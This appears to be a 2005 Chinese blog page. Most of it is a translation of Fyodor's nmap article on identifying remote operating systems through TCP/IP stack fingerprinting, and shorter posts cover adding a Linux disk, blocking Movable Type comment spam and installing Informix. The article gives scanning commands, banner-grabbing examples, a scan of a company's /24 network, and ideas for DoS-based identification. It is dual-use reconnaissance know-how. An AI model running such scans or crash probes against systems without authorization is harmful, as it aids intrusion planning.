    any image!". Any emails without the above 5 information will be ignored
    because I won't have sufficient information to help you.

    My email is james@seng.cc

    +++++++++++++++++++++++++++++++++++
    Acknowledgement
    +++++++++++++++++++++++++++++++++++
    Timothy Takemoto - for easier README

    Posted by vitter at 2005-02-12 18:23:35 | 评论 (8)

    使用TCP/IP协议栈指纹进行远程操作系统辨识

    翻到一篇很老的东东,今天有人问我一些操作系统识别的问题,就贴上来。
    Fyodor (www.insecure.org)
    1998-10-18
    最后修改:1999-4-10

    译者neko
    2000-6-30

    本文可以自由分发

    概述

    本文讨论了如何查询一台主机的TCP/IP协议栈来收集宝贵的信息。首
    先,我列举了栈指纹之外的几种“经典的”操作系统辨识方法。然后
    我描述了栈指纹工具的“工艺现状”。接下来说明让远程主机泄漏其
    信息的一些技术。最后详述了我的实现(nmap),和用它获得的一些
    流行网站的操作系统信息。


    理由

    我认为辨识一个系统所运行OS的用处是相当显而易见的,所以这一节
    会很短。最有力的例子之一是许多安全漏洞是OS相关的。试想你正在
    作突破试验并发现53端口是打开的。如果那是易遭攻击的bind版本,
    则你只有一次机会利用它因为失败的尝试会杀死守护程序。有了正确
    的TCP/IP指纹,你将很快发现它运行的是'Solaris 2.51'或者'Linux 2.0.35'
    而因此调整你的外壳代码。

    一个比较糟的例子是某人扫描500,000台主机以找出它们运行什么OS
    和哪些端口是打开的。然后等谁贴(说)有一个root漏洞在Sun的comsat
    守护程序里,我们的小朋友能从人家的列表中找出 'UDP/512'和'Solaris 2.6'
    这两个词,并立即得到了整页整页的可得到root特权的盒子。必须认
    识到那是脚本小子(SCRIPT KIDDIE)的行为。你证明了你的无能而
    且没有人,甚至对方也,对你能找到没有及时修补漏洞而易受攻击的
    .edu之事留有印象。人们也_较少_留有印象如果你用你新找到的通路
    去破坏政府的web 站,换以一个自大的你如何强大而管理员们如何愚
    蠢的话的话。。

    另一个用法是社会工学。假如你扫描目标公司而namp报告一个'Datavoice
    TxPOR TPRISM 3000 T1 CSU/DSU 6.22/2.06'。则黑客就以'Datavoice
    support'为名打电话并讨论他们PRISM 3000的一些问题。“我们正要
    公布一个安全漏洞,但希望我们现在的客户先安装补丁--我刚刚寄给
    你...”一些天真的管理员会假定只有Datavoice指定的工程师才会对
    他们的CSU/DSU知道的如此之多。

    这个能力另一个潜在的用途是评价你要交易的公司。在选择一个新ISP
    前,扫描它们看用的是什么设备。那些“ 99美元/年”的买卖不向听
    起来那么好当你发现它们用廉价的路由器并用一堆运行Windows 的机
    器提供PPP 服务的时候。


    经典技术

    栈指纹以独特的方式解决OS辨识的问题。我想这个技术最有把握,但
    现在有许多其他解决方案。遗憾的是,这仍是其中最有效的:

    playground~> telnet hpux.u-aizu.ac.jp
    Trying 163.143.103.12...
    Connected to hpux.u-aizu.ac.jp.
    Escape character is '^]'.

    HP-UX hpux B.10.01 A 9000/715 (ttyp2)

    login:

    没有必要在指纹上费这么大力气,如果机器能大声对世界说明它们运
    行的是什么!遗憾的是,许多制造商交付带有这类标志的_现有的_系
    统而且许多管理员没有关上它。[译者:原文如此]只是因为还有其他
    方法找出运行的OS(例如指纹),但不是说我们应该通知每个尝试连
    接的笨蛋我们的OS和体系结构。

    依靠这个技术的问题是越来越多的人把标志关闭,许多系统不给出更
    多信息,还有少数在标志中“说谎”。不过,你得到全部就是读标志
    方式的OS和OS版本检查,如果你把上千美元花在商业的ISS 扫描器上
    的话。下载nmap或queso代替它们可以替你省钱:)。

    即使你关闭了标志,当被询问时许多应用程序仍然很高兴给出这类信
    息。例如这个FTP服务器:

    payfonez> telnet ftp.netscape.com 21
    Trying 207.200.74.26...
    Connected to ftp.netscape.com.
    Escape character is '^]'.
    220 ftp29 FTP server (UNIX(r) System V Release 4.0) ready.
    SYST
    215 UNIX Type: L8 Version: SUNOS

    首先,它给出了它默认的系统细节标志。然后如果我们给出'SYST'命
    令它愉快地送回更多信息。

    如果FTP的anon被支持,我们经常可以下载/bin/ls或其他的二进制文
    件而测定它所建造的体系结构。

    许多其他应用程序对信息太随便了。比如web服务器:

    playground> echo 'GET / HTTP/1.0\n' | nc hotbot.com 80 | egrep '^Server:'
    Server: Microsoft-IIS/4.0
    playground>

    Hmmm ... 我对这些家伙运行的感到惊讶。

    其他经典技术包括DNS 主机信息记录(不太有效)和社会工学。如果
    它在听161/udp (snmp),用CMU SNMU工具包里的'snmpwalk'和'public'
    通信名你肯定能获得一大堆信息。


    当前指纹问题

    Nmap不是第一个用TCP/IP指纹辨识OS的程序。Johan的通用的IRC欺骗
    程序sirc包括了非常基本的指纹技术从版本3 (或更早)开始。它尝
    试把主机分为 "Linux","4.4BSD", "Win95", 或 "Unknown"几类通过
    几个简单TCP标志测试。

    另一个这样的程序是checkos,作者Shok对版本7终于有了信心在今年
    一月公开发行。指纹技术和SIRC的完全一样,甚至_代码_都有许多同
    样之处。Checkos 在公开发行前私下流传了很久,所以不知谁偷谁的。
    但看起来谁都不信任对方。checkos增加的是telnet 标志检查,有用
    但有前面说的问题。[更新:Shok写信来说checkos无意公开发行而这
    就是为什么他没有找SIRC要那些代码的许可。]

    Su1d也写了一个OS检查程序。他称它叫SS其版本3.11可以辨识12个不
    同的OS类型。我有些偏爱它因为他许可我的nmap程序一些网络代码:)。

    然后是queso 。这是最新的而且对其他程序是一个巨大的飞跃。不仅
    是因为它们推出了一些新测试,而且它们是首先(就我所见)把OS指
    纹_移出_代码的。其他扫描的代码象:

    /* from ss */
    if ((flagsfour & TH_RST) && (flagsfour & TH_ACK) && (winfour == 0) &&
    (flagsthree & TH_ACK))
    reportos(argv[2],argv[3],"Livingston Portmaster ComOS");

    相反,queso 把这些代码移到一个配置文件显然使更易扩展而且使增
    加一个OS成为在指纹文件中增加几行的简单工作。

    Queso由Savage,Apostols.org的高手之一,所写。

    以上所述所有问题中的一个问题是只有非常有限数量的指纹测试从而
    限制了回答的详细程度。我想知道不仅是'这台机器是OpenBSD, FreeBSD,
    或者NetBSD',我想确切知道它到底是那一个还有版本号。同样,我希
    望看到'Solaris 2.6' 而不仅仅是'Solaris'。为此,我对一系列指纹
    技术进行了研究,它们将在下一节说明。


    指纹方法学

    有许多许多技术可以用来定义网络栈指纹。基本上,你只要找出操作
    系统间的不同并写探测器查明它们。如果你合并足够这些,你可以非
    常细致的区分它们。例如nmap可以可靠分辨出Solaris 2.4 和Solaris 2.5-2.51
    以及Solaris 2.6。他能分辨Linux内核2.0.30到2.0.31-34或or 2.0.35。
    这有一些技术:

    FIN 探测器 -- 这里我们送一个FIN包(或任何其他包不带ACK 或SYN
    标记)给一个打开的端口并等待回应。正确的RFC793行为是不
    响应,但许多有问题的实现例如 MS Windows, BSDI, CISCO,
    HP/UX,MVS,和IRIX 发回一个RESET。许多现有工具利用这个技
    术。

    BOGUS 标记探测器 -- Queso 是我见过的第一个用这个聪明技术扫描
    器。这个主意是设置一个未定义的TCP "标记"(64或128)在SYN
    包的TCP头里。Linux机器到2.0.35之前在回应中保持这个标记。
    我没有发现其他OS有这个错误。然而,一些操作系统象是复位
    连接当它们得到一个SYN+ BOGUS包的时候。这一行为对辨识它
    们有用。

    TCP ISN 取样 -- 这个主意是找出当响应一个连接请求时由TCP 实现
    所选择的初始化序列数式样。这可分为许多组例如传统的64K
    (许多老UNIX机器),随机增量(新版本的Solaris, IRIX, FreeBSD,
    Digital UNIX, Cray, 和许多其他的),真“随机”(Linux 2.0.*,
    OpenVMS,新的AIX,等)。Windows 机器(和一些其他的)用一
    个“时间相关”模型,每过一段时间ISN 就被加上一个小的固
    定数。不用说,这几乎和老的64K 行为一样容易攻破。当然我
    喜欢的技术是"常数"。机器总是使用确切同样的ISN :)。我已
    经在3Com的集线器(用0x803)和Apple LaserWriter打印机(
    用0xC7001 )上看到了。

    你也可以通过例如计算其随机数的变化量,最大公约数,以及
    序列数的其他函数和数之间的差异再进一步分组。

    要知道ISN 的生成和安全息息相关。想了解更多情况,联络在
    SDSC的“安全专家”Tsutome Shimmy Shimomura,问他所知道
    的。Nmap是我所见到的第一个用它来辨识OS的程序。

    不分段位 -- 许多操作系统开始在送出的一些包中设置IP的"Don't Fragment"
    位。这带来多种性能上的好处(尽管它也可能是讨厌的 -- 这
    就是nmap的分段扫描对Solaris机器无效的原因)。无论如何,
    不是所有的OS都这样做而且另一些做的场合不同,所以通过注
    意这个位我们甚至能收集目标OS的更多信息。在那两个程序中
    没见过这个。

    TCP 初始化窗口 -- 这只包括了检查返回包的窗口大小。较老的扫描
    器简单地用一个非零窗口在RST包中来表示“BSD 4.4 族”。新
    一些的如queso 和nmap则保持对窗口的精确跟踪因为它对于特定
    OS基本是常数。这个测试事实上给出许多信息,因为有些可以被
    唯一确定(例如,AIX 是所知唯一用0x3F25的)。在它们“完全
    重写”的NT5 TCP 栈中,Microsoft 用的是0x402E。有趣的是,
    这和OpenBSD 与FreeBSD 中所用的数字完全一样。

    ACK 值 -- 尽管你会认为这个会完全标准,不同实现中一些情况下ACK
    域的值是不同的。例如,如果你送了一个FIN|PSH|URG 到一个
    关闭的TCP 端口。大多数实现会设置ACK 为你的初始序列数,
    而Windows 和一些傻打印机会送给你序列数加1 。若你送一个
    SYN|FIN|URG|PSH 到一个打开的端口,Windows 会非常古怪。
    一些时候它送回序列号,但也有可能送回序列号加1, 甚至还
    可能送回一个随机数。我们觉得奇怪,不知微软写的是些什么
    代码。

    ICMP 错误信息终结 -- 一些(聪明的)操作系统跟从RFC 1812的建
    议限制各种错误信息的发送率。例如,Linux 内核(在net/ipv4/icmp.h)
    限制目的不可达消息的生成每4 秒钟80个,违反导致一个1/4
    秒的处罚。测试的一种办法是发一串包到一些随机的高UDP 端
    口并计数收到的不可达消息。没见过用它的,而且实际上我也
    没有把它加进nmap(除了作为UDP 端口扫描用)。这个测试会
    让OS辨识多花一些时间因为需要送一批包再等它们回来。而且
    对付网络丢包会很痛苦。

    ICMP 消息引用 -- RFC 规定ICMP错误消息可以引用一部分引起错误
    的源消息。对一个端口不可达消息,几乎所有实现只送回IP请
    求头外加8 字节。然而,Solaris 送回的稍多,而Linux 更多。
    这使得nmap甚至在没有对方没有监听端口的情况下认出Linux
    和Solaris 主机。

    ICMP 错误消息回应完整性 -- 我这个想法来自Theo De Raadt (OpenBSD
    开发负责人)贴在comp.security.unix的文章。刚刚提到,机
    器会把原始消息的一部分和端口不可达错误一起送回。然而一
    些机器倾向于在初始化处理时用你的消息头作为“草稿纸”所
    以再得到时会有些许的改动。例如,AIX 和BSDI送回一个IP“
    全长”域在20字节处。一些 BSDI,FreeBSD,OpenBSD,ULTRIX,
    和VAXen 改变了你送的IP ID 。因为TTL 改变而改变了检查和,
    有些机器(AIX, FreeBSD, 等)送回错误的或0 检查和。总之,
    nmap作9 种测试在ICMP错误上以分辨出这类细微差别。

    服务类型 -- 对于ICMP端口不可达消息我察看送回包的服务类型(TOS)
    值。几乎所有实现在这个ICMP错误里用0 除了Linux 用0xc0。
    这不是标准的TOS 值,而是一个未使用优先域(AFAIK) 的一部
    分。我不知道为什么如此,但如果他们改成0 我们还能够分辨
    旧系统_而且_还能分辨出旧系统和新系统。

    分段控制 -- 这是安全网络公司(现在由一帮在NAI 的Windows 用户
    所拥有)的Thomas H. Ptacek喜爱的技术。它获益于事实即不
    同实现经常以不同方式控制覆盖IP段。一些会用新的覆盖旧的
    部分,另一些情况中旧的优先。有很多不同可能你可以用来决
    定如何重组数据包。我没有加入这一特性因为没有简便的方式
    发送IP分段(特别是,在Solaris 上是不允许的)。关于覆盖
    段的更多信息,可以看IDS 的论文(www.secnet.com)

    TCP 选项 -- 这简直是泄漏信息的金矿。它的好处在于:
    1) 这通常是可选的(哈!):) 所以并非所有实现都支持。
    2) 若一个实现发出设置了选项的请求,目标通过设置它在回
    应中表示支持。
    3) 可以在一个数据包中设置而一次测试所有选项。

    Nmap发送这些选项的几乎所有可能的包:

    Window Scale=10; NOP; Max Segment Size = 265; Timestamp; End of Ops;

    当你得到回应,看看那个选项被送回也就是被支持。一些操作
    系统如最近的FreeBSD 机器支持上面所有的,而其他,如Linux 2.0.X
    支持的则很少。最近的Linux 2.1.x 内核支持上面所有的。另
    一方面,它们又有更易受攻击的TCP 序列生成方式。去看看。

    即使几个操作系统支持同样的选项集,有时仍可以通过选项的
    _值_分辨出它们。例如,如果送一个小的MSS值给Linux机器,
    它会用那个MSS 生成一个回答给你。其他主机会给你不同的值。

    甚至即使你得到同样的支持选项集和同样得值,你仍可以通过
    选项提供的_顺序_和填充字进行辨识,例如Solaris返回'NNTNWME'
    表示:

    而Linux 2.2.122返回MENNTNW。同样的选项,同样的值,但不
    同顺序!

    没见过其他OS检测工具利用TCP 选项,但它非常有用。

    因同样原因有其他几个有用的选项我会探测,象那些支持T/TCP
    和选择性确认。

    开发年代 -- 甚至使用上面所有测试,nmap仍不能从TCP 栈区分Win95,
    WinNT,或Win98。这很令人惊讶,尤其是Win98 比Win95 晚出
    现4 年。你可能想它们不得不从某些方面进行改善(象支持更
    多的TCP 选项)这样我们可以检测到改变而分辨出它们。不幸
    的是,不是这样的。NT的栈显然就是放在95里的蹩脚的东西。
    而且到98也没加改动。

    但别放弃希望,还有个办法。你可以简单的进行早期的Windows
    DOS 攻击(Ping of Death, Winnuke, 等)而比当时的如Teardrop
    和Land多做一些。就是在每个攻击之后,ping它们看是否垮
    掉了。等到你最后crash 掉它们,你就能缩小的某一服务包
    或补丁。

    这个没加进nmap,尽管我承认它非常诱人:)。

    SYN洪水限度 -- 一些操作系统会停止新的连接尝试如果你送太多的
    伪造SYN 给它(伪造包避免你的内核复位连接)。许多操作系
    统只能处理8 个包。最近的Linux 内核(包括其他操作系统)
    允许不同的方式如SYN cookie来防止这成为严重问题。所以你
    可以试着从伪造地址发8 个包到目标打开的端口再尝试你还能
    否建立连接以发现一些信息。这没在nmap中实现因为有人不喜
    欢你用SYN 洪水,甚至你解释这只是想知道它运行的操作系统
    也不能使他们平静。


    NMAP实现和结果

    我已经作了一个上面说的OS探测技术的参考实现(除了我说不包括的)。
    我把它们加到了我的Nmap扫描器这样在分析指纹时它已经知道了什么
    端口是打开还是关闭的而不用你再告诉。它也能在Linux,*BSD, 和
    Solaris 2.51和2.6, 以及其他一些操作系统间移植。

    新版的nmap读一个指纹模板文件。下面是语法的例子:

    FingerPrint IRIX 6.2 - 6.4 # Thanks to Lamont Granquist
    TSeq(Class=i800)
    T1(DF=N%W=C000|EF2A%ACK=S++%Flags=AS%Ops=MNWNNT)
    T2(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)
    T3(Resp=Y%DF=N%W=C000|EF2A%ACK=O%Flags=A%Ops=NNT)
    T4(DF=N%W=0%ACK=O%Flags=R%Ops=)
    T5(DF=N%W=0%ACK=S++%Flags=AR%Ops=)
    T6(DF=N%W=0%ACK=O%Flags=R%Ops=)
    T7(DF=N%W=0%ACK=S%Flags=AR%Ops=)
    PU(DF=N%TOS=0%IPLEN=38%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)

    看第一行(我加了'>'标记):

    > FingerPrint IRIX 6.2 - 6.3 # Thanks to Lamont Granquist

    这简单表明这个指纹覆盖IRIX版本6.2到6.3而注释表明Lamont Granquist
    友好地送给我测试用IRIX机器的IP地址或指纹。

    > TSeq(Class=i800)

    这表明ISN 取样放在"i800组"。这意味着每一个新序列号比前一个大
    800的整数倍。

    > T1(DF=N%W=C000|EF2A%ACK=S++%Flags=AS%Ops=MNWNNT)

    这个测试叫T1(比test1 聪明吧?)。这个测试我们送一个SYN 包带
    一组TCP 选项到一个打开的端口。DF=N意为回答的"Don't fragment"
    位必须没有设置。W=C000|EF2A意为收到的窗口特征必须是0xC000 或
    EF2A。ACK=S++是说响应必须是我们送的序列号加1 。Flags=AS 意为
    ACK 和SYN 标记在回答中。Ops=MNWNNT意为回答的选项必须如此顺序:

    > T2(Resp=Y%DF=N%W=0%ACK=S%Flags=AR%Ops=)

    测试2 包括一个NULL及同样选项到一个打开的端口。Resp=Y表示我们
    必须得到一个回答。Ops=表示必须没有任何选项包括在回答中。若整
    个用'%Ops='则任何选项都匹配。

    > T3(Resp=Y%DF=N%W=400%ACK=S++%Flags=AS%Ops=M)

    测试3 是一个SYN|FIN|URG|PSH w/options 到一个打开端口。

    > T4(DF=N%W=0%ACK=O%Flags=R%Ops=)

    这是一个到打开端口的ACK。注意这儿没有Resp=。这意味着缺少回答
    (比如包在网络上掉了或被防火墙拦住了)不会妨碍其他测试的匹配。
    我们如此是因为实际上所有的OS都会回答,所以缺少回答总是网络原
    因而不是OS本身造成。测试2和3里有Resp标记因为有OS_确实_丢弃它
    们而不回答。

    > T5(DF=N%W=0%ACK=S++%Flags=AR%Ops=)
    > T6(DF=N%W=0%ACK=O%Flags=R%Ops=)
    > T7(DF=N%W=0%ACK=S%Flags=AR%Ops=)

    这些测试是SYN,ACK,和FIN|PSH|URG, 分别地,到一个关闭端口。
    总是设置同样的选项。当然这显然给了名字'T5', 'T6', 和 'T7' :)。

    > PU(DF=N%TOS=0%IPLEN=38%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)

    这大家伙是端口不可达消息测试。现在你应该认识DF=N了。TOS=0 意
    为IP服务域类型是0 。下两个域给出(16进制)返回的消息头IP全长
    域和IP头中给的全长。RID=E 是说在返回的部分原始包中的RID 值应
    和原来的一样(就如我们送出的)。RIPCK=E 表示没有修改检查和(
    改了的话用RIPCK=F)。UCK=E表示UDP 检查和也正确。下面的是UDP
    长度0x134 和DAT=E 表示它们正确返回我们的UDP 数据。因为大多数
    实现(包括这个)不送回任何我们的UDP 数据包,它们默认DAT=E。

    带这个功能的这个版本的nmap正在私下进行第六次beta测试循环。你
    读到的时候,也许已经完成,也许没有。访问http://www.insecure.org/nmap/
    以得到最新版本。

    流行网站快照

    下面是我们努力的成果。我们现在可以随机挑选Internet网站判断它
    使用的OS。它们许多修改了telnet标志,等。以使这些信息保密。但
    这对我们的新指纹没用!这也是好办法揭露<填上你喜欢的傻OS>的用
    户是多么的愚蠢。:)

    用在这些例子中的命令是:nmap -sS -p 80 -O -v <主机>

    也要注意大多数扫描是在98-10-18进行的。那以后一些家伙会升级/
    改变了它们的服务器。

    注意我并不喜欢这的每个网站。

    # "黑客" 网站或(两方都是)自认为是的
    www.l0pht.com => OpenBSD 2.2 - 2.4
    www.insecure.org => Linux 2.0.31-34
    www.rhino9.ml.org => Windows 95/NT # 没的说 :)
    www.technotronic.com => Linux 2.0.31-34
    www.nmrc.org => FreeBSD 2.2.6 - 3.0
    www.cultdeadcow.com => OpenBSD 2.2 - 2.4
    www.kevinmitnick.com => Linux 2.0.31-34 # Free Kevin!
    www.2600.com => FreeBSD 2.2.6 - 3.0 Beta
    www.antionline.com => FreeBSD 2.2.6 - 3.0 Beta
    www.rootshell.com => Linux 2.0.35 # 改成了 OpenBSD 在他们得到以后

    # 安全提供商,顾问,等
    www.repsec.com => Linux 2.0.35
    www.iss.net => Linux 2.0.31-34
    www.checkpoint.com => Solaris 2.5 - 2.51
    www.infowar.com => Win95/NT

    # OS制造商
    www.li.org => Linux 2.0.35 # Linux 国际版
    www.redhat.com => Linux 2.0.31-34 # 我奇怪它们发行什么 :)
    www.debian.org => Linux 2.0.35
    www.linux.org => Linux 2.1.122 - 2.1.126
    www.sgi.com => IRIX 6.2 - 6.4
    www.netbsd.org => NetBSD 1.3X
    www.openbsd.org => Solaris 2.6 # 啊嗨 :)
    www.freebsd.org => FreeBSD 2.2.6-3.0 Beta

    # 学联
    www.harvard.edu => Solaris 2.6
    www.yale.edu => Solaris 2.5 - 2.51
    www.caltech.edu => SunOS 4.1.2-4.1.4 # Hello! 这是90年代的 :)
    www.stanford.edu => Solaris 2.6
    www.mit.edu => Solaris 2.5 - 2.51 # 这么多好学校喜欢SUN?
    # 大概是给.edu打40%的折扣 :)
    www.berkeley.edu => UNIX OSF1 V 4.0,4.0B,4.0D
    www.oxford.edu => Linux 2.0.33-34 # 好家伙!

    # 残疾网站
    www.aol.com => IRIX 6.2 - 6.4 # 不奇怪它们那么不安全 :)
    www.happyhacker.org => OpenBSD 2.2-2.4 # 病态的, Carolyn?
    # 甚至最安全的OS在不合格的管理员手里也没用

    # 其他
    www.lwn.net => Linux 2.0.31-34 # 这是Linux新闻网站!
    www.slashdot.org => Linux 2.1.122 - 2.1.126
    www.whitehouse.gov => IRIX 5.3
    sunsite.unc.edu => Solaris 2.6

    注意:在它们的安全白皮书中,Microsoft 说到它们松懈的安全:“
    这种假设已经改变在这些年中Windows NT获得普及很大程度上是由于
    其安全特性”。喔,从我这里看Windows 在安全团体中不是很普遍:)。
    从中我只看到2 台Windows 机器,而且对nmap来说Windows 是_ 容易_
    分辨的它太破了(一流的聪明)

    当然,有更多需要检查的。这是ultra-secret Transmeta公司的网站。
    有趣的是该公司主要由微软的Paul Allen建立,而非其雇员Linus Torvalds。
    那么它们是和Paul用NT或者投身到Linux革命中去呢?我们看看:

    我们用命令:
    nmap -sS -F -o transmeta.log -v -O www.transmeta.com/24

    这个说SYN 扫描一致端口(从/etc/services),记录结果到'transmeta.log',
    详细地,进行OS扫描,并扫描www.transmeta.com所在的'C'地址。这
    是结果摘要:

    neon-best.transmeta.com (206.184.214.10) => Linux 2.0.33-34
    www.transmeta.com (206.184.214.11) => Linux 2.0.30
    neosilicon.transmeta.com (206.184.214.14) => Linux 2.0.33-34
    ssl.transmeta.com (206.184.214.15) => Linux unknown version
    linux.kernel.org (206.184.214.34) => Linux 2.0.35
    www.linuxbase.org (206.184.214.35) => Linux 2.0.35 可能和上面的是同一台机器

    好,我想结果很清楚了:)。


    感谢

    现在Nmap能够检测如此多不同的操作系统的唯一原因是那么多的人在
    个人beta测试中努力找到新的激动人心的机器来获取指纹!特别是,
    Jan Koum, van Hauser, Dmess0r, David O'Brien, James W. Abendschan,
    Solar Designer, Chris Wilson, Stuart Stock, Mea Culpa,Lamont Granquist,
    Dr. Who, Jordan Ritter, Brett Eldridge, 和Pluvius 送来成吨的
    古怪机器的IP地址和/或不能通过Internet访问的机器的指纹。

    感谢Richard Stallman些的GNU Emacs。 本文不能顺利自动换行如果
    我用vi或cat 和^D的话。

    问题和意见可以送到fyodor@insecure.org(如果它不工作了,用fyodor@insecure.org)。
    Nmap可以从获得http://www.insecure.org/nmap。


    ------
    译者注:
    1>原文在:http://www.insecure.org/nmap/nmap-fingerprinting-article.txt
    2>原文还有法语、葡萄牙语、意大利语、俄语、西班牙语、德语译本
    3>对译文的任何意见请来信neko@126.com

    Posted by vitter at 2005-02-12 03:35:11 | 评论 (0)

    January 28, 2005

    如何给linux添加新硬盘

    在服务器上把硬盘接好,启动linux,以root登陆。

    比如我新加一块SCSI硬盘,需要将其分成三个区:

    #fdisk /dev/sdb
    进入fdisk模式:
    Command (m for help):p //查看新硬盘的分区
    Command (m for help):n //创建新分区

    可以用m命令来看fdisk命令的内部命令;n命令创建一个新分区;d命令删除一个存在的分区;p命令显示分区列表;t命令修改分区的类型ID号;l命令显示分区ID号的列表;a命令指定启动分区;w命令是将对分区表的修改存盘让它发生作用。

    Command action
    e extended //输入e为创建扩展分区
    p primary partition (1-4) //输入p为创建主分区,这里我们选择p

    Partion number(1-4):1 //第一个扩展分区,按你需求可以最多分4个主分区
    First Cylinder(1-1014,default 1): 1 //第一个主分区起始的磁盘块数
    Last cylindet or +siza or +sizeM or +sizeK: +1024MB //可以是以MB为单位的数字或者以

    磁盘块数,这里我们输入+1024MB表示分区大小为1G。

    这样我们就创建完一个分区,如果要创建更多分区可以照上面的步骤继续创建。

    创建完后用w保存分区。

    Command (m for help): w
    The partition table has been altered!

    Calling ioctl() to re-read partition table.
    Syncing disks.

    这样就分区完,我们还要进行格式化

    #mkfs -t ext3 -c /dev/sdb1 //如果有多个分区,则分区修改为sdb2这样
    格式化完后我们需要进行挂载分区,

    #mkdir www //创建/www目录,我们将把新的分区挂到www下
    #mount /dev/sdb1 /www //将/dev/sdb1挂载到/www
    # df //用df命令进行查看
    Filesystem 1K-blocks Used Available Use% Mounted on
    /dev/sda2 3771316 1388956 2190788 39% /
    /dev/sda1 101089 9463 86407 10% /boot
    none 62988 0 62988 0% /dev/shm
    /dev/sdb1 485906 8239 452580 2% /www //看到了,这就是我们刚才新挂载的分区

    到这里我们工作已接近尾声了,不过我们如果这样就结束的话,我们每次重新启动服务器后都要

    进行手工挂载,这样很麻烦,我们需要修改/etc/fstab文件来进行自动挂载。

    #vi /etc/fstab

    在文件的末尾填加如下内容:

    /dev/sdb1 /www ext3 defaults 1 2

    如有多个分区可修改sdb1和/www,修改完后保存,重起服务器。

    到此我们添加新硬盘的工作结束了。

    Posted by vitter at 2005-01-28 00:20:22 | 评论 (1)

    January 27, 2005

    防止机器人

    加了点东西后就开始受机器人自动回复的困扰了,修改 mt.cfg
    在最末行加入:
    # This configuration is for regulate the comments, to provent the robot.
    #
    ThrottleSeconds 10
    #
    # 10 means 10 seconds.
    #

    来自同一IP的用户两次comment的时间应大于10秒,否则会被系统ban掉。
    希望好用,可以防止网络机器人。

    Posted by vitter at 2005-01-27 17:06:42 | 评论 (1)

    Mt 系统如何防止垃圾留言以及如何通过 .htaccess 禁止垃圾

    关于如何在Movable Type上禁止Spam(垃圾留言),以前有朋友问起这些问题,写一个比较完整的版本在这里:

    1] Spam 的工作原理
    Spam 搜索网络上现有的,已知的 comment 的资源位置,例如MT的 mt-comments.cgi comment.cgi -spam,然后从中找到这些资源的URL。
    或者搜索一些明显的MT的单篇日志/或者日志的位置,依据通常的做法可以猜测到那些comment.cgi 的位置。

    下一步就是写一个提交cgi的程序了,然后就完事了。

    注意,垃圾留言的最主要的特征是通过程序进行留言的,因此虽然有一定的智能性,但是毕竟是没有思维/视觉的程序。

    2] 最简单的更名防止垃圾留言的办法:
    这个是最简单的,也是最有效的。
    更改 mt.cfg 里CommentScript 的位置,例如:
    CommentScript PingLun.cgi (评论.cgi ,你可以采用任何的名子)
    然后将mt-comments.cgi 更名为 PingLun.cgi
    chmod 755 PingLun.cgi
    后重新编译整个系统。

    3] 熟练级 :mt-blacklist package
    我曾经向Hedong推荐这个,因为功能非常强大,可以过滤Url,关键词,可以对以往的留言再进行过滤,也可以对Traceback进行 anti-spam

    4] 专家级:Scode

    这个采用了惯用的 图像文字识别码,你必需输入正确的数字才能够完成comment,这样的plugin已经完全屏蔽了垃圾留言。这里有介绍

    5] 其它
    Chedong在cnblog里提出用 robots.txt 来禁止爬虫爬 mt-comments.cgi ,当然,这样可以禁止一些,但是如果单页没有被禁止的话,仍然可以通过分析单页得到里面嵌入的form和action的动作,从而得到comment.cgi 的资源位置。不过,这种方法的确可以有效的防止spam网址获得较高的pagerank。


    下面是 更多内容关于利用.htaccess 和 httpd.conf 来精确/匹配/限止/留言和Refer的方法
    这个我本来发在 www.wespoke.com里,觉得也许对这里有帮助,狗尾续貂一下。

    In httpd.conf
    ####################################
    1]
    SetEnvIfNoCase Referer ".*(casino|gambling|poker|porn|sex|hqsearch|webcamss|rape).*" BadReferrer


    order allow,deny
    allow from all
    deny from env=BadReferrer


    ####################################

    2] Using .htaccess to ba

    Posted by vitter at 2005-01-27 17:04:08 | 评论 (0)

    January 25, 2005

    linux下的Informix安装配置

    第一步:下载
    ids 9.4 for linux:
    ftp://ftp.youngcow.net/Special/Database/DatabaseServer/Informix/
    InformixDynamicServerVersion9.4/IIUG-IDS-9.4-linux.zip

    csdk for linux:
    ftp://ftp.software.ibm.com/software/data/informix/downloads/clientsdk.2.81.UC2.LINUX.tar

    第二步:linux搭建安装informix的环境

    建立informix组:groupadd -g 20000 informix

    建立informix用户:useradd -u 20000 -g 20000 -d /opt/informix -m informix

    修改informix用户环境变量:
    修改 .bash_profile文件 增加以下环境变量

    INFORMIXDIR=/opt/informix
    INFORMIXSERVER=info_dbs
    ONCONFIG=onconfig.std
    DBDATE=MDY4*
    LD_LIBRARY_PATH=$INFORMIXDIR/lib:$INFORMIXDIR/lib/esql:$LD_LIBRARY_PATH
    export INFORMIXDIR INFORMIXSERVER ONCONFIG LD_LIBRARY_PATH
    PATH=$PATH:$INFORMIXDIR/bin
    export PATH

    第三步:准备安装文件

    zip文件解压
    unzip IIUG-IDS-9.4-linux.zip

    解开Linux-IDS.9.40.tc1e1.cpio:
    cpio -idmv < /usr/local/src/Linux-IDS.9.40.tc1e1.cpio;

    解开clientsdk.2.81.UC2.LINUX.tar:
    tar xvf clientsdk.2.81.UC2.LINUX.tar
    生成csdk.cpi;
    解开csdk.cpi
    cpio -idmv < /usr/local/src/csdk.cpi;

    第四步:开始安装

    首先用informix用户登陆

    安装ids:
    在informix目录下运行./installserver

    碰到提示,直接回车;

    完成后su到root运行RUN_AS_ROOT.server;

    这样ids就安装好了;

    安装csdk:
    在inforomix目录下运行./installclientsdk;

    碰到提示敲yes,回车;

    完成后su到root运行RUN_AS_ROOT.clientsdk;

    这样clientsdk就装好了;

    第五步:开始配置

    1、配置/etc/services文件
    sqlexe 1526/tcp
    sqlexec 1528/tcp

    --sqlexe和sqlexec是services 名字,1526、1528是端口号;
    --TCP/IP表示TCP/IP协议

    2、配置/etc/hosts文件
    192.168.0.1 linux(本主机名称)

    3、配置$INFORMIXDIR/etc/sqlhosts文件
    info_dbs onipcshm linux sqlexe
    info_dbs_tcp onsoctcp linux sqlexec

    --这里配置了共享内存方式和soctcp方式连接数据库的两种方式;linux代表主机名;sqlexe/sqlexec分

    别代表在services文件中配的服务;
    --另外需要注意的是,informix for linux

    9.4版中release提到不支持tlitcp方式;所以这里采用的onsoctcp方式;
    --若sqlhosts文件配置了tlitcp方式或者说sqlhosts文件中的配置和onconfig.std文件配置不一样,会

    出现经常碰到的25507错误;

    4、建立空间
    以informix用户操作
    在INFORMIXDIR中建立dbs目录;
    首先
